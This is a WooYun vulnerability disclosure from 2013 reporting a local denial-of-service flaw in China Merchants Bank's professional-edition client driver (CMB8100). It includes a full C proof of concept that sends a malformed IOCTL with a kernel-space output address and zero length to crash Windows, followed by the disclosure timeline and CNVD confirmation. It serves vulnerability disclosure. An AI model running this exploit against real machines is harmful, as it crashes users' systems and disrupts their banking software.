当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-042047

漏洞标题:招商银行专业版CertClient.dat本地拒绝服务漏洞

相关厂商:招商银行

漏洞作者: n0bele

提交时间:2013-11-06 11:15

修复时间:2014-02-04 11:15

公开时间:2014-02-04 11:15

漏洞类型:拒绝服务

危害等级:低

自评Rank:5

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-11-06: 细节已通知厂商并且等待厂商处理中
2013-11-10: 厂商已经确认,细节仅向厂商公开
2013-11-13: 细节向第三方安全合作伙伴开放
2014-01-04: 细节向核心白帽子及相关领域专家公开
2014-01-14: 细节向普通白帽子公开
2014-01-24: 细节向实习白帽子公开
2014-02-04: 细节向公众公开

简要描述:

审核人员喜欢看图片就补张图上去

详细说明:

啥都没校验,地址、长度等,写个不稳定的驱动就是祸害客户。
OUTLEN为0绕过windows内核校验引发BSOD
POC如下:

#include "stdafx.h"
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#define DEVICE_NAME "\\\\.\\CMB8100"
#define IOCTL_CODE 0x80102040
// #define IOCTL_CODE 0x8010204C//Ke386IoSetAccessProcess关闭
int main(int argc, char* argv[])
{
HANDLE hDevice = INVALID_HANDLE_VALUE;
BOOL bRet = FALSE;
DWORD dwOutput;
//输入缓冲区作为输入,输出缓冲区作为输出
DWORD InputBuffer[64]={0};
DWORD outputBuffer[64]={0};
hDevice = CreateFile(DEVICE_NAME,GENERIC_READ, FILE_SHARE_READ|FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);
if(hDevice == NULL)
{
printf("[!] Cannot open a handle to the driver, it is probably not loaded. ");
printf("Error : %d\n", GetLastError());
return 0;
}

InputBuffer[0]=(DWORD)hDevice; //给一个句柄即可
bRet = DeviceIoControl(hDevice, IOCTL_CODE,InputBuffer, 10, (PVOID)(0xffff0000),0, &dwOutput, NULL);

if(FALSE == bRet)
{
printf("[!] send ioctl fail!\r\n");
printf("Error : %d\n", GetLastError());
}
CloseHandle(hDevice);

return 0;
}

漏洞证明:

传入个0xffff0000送管理员

.jpg


修复方案:

校验,合理校验

版权声明:转载请注明来源 n0bele@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2013-11-10 22:05

厂商回复:

CNVD确认并复现所述情况,已经在6日转由CNCERT直接通报给招商银行信息化主管部门。后续情况待反馈。

最新状态:

暂无